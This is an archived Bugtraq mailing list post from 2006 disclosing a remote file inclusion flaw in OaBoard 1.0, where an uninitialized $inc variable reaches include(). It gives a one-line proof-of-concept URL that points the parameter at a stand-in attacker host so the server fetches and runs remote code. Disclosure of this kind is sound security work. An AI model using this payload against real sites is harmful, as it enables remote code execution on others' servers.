Bugtraq mailing list archives

OaBoard 1.0 Remote File inclusion

From: hessamx () hessamx net
Date: 30 May 2006 08:20:21 -0000

OaBoard version 1.x have remote file inclusion .
Variables $inc isn't initialized in the include()
http://host/oaboard/forum.php?inc=http://evil_script/
Hessam-x (www.hessamx.net)

Current thread:

OaBoard 1.0 Remote File inclusion hessamx (May 30)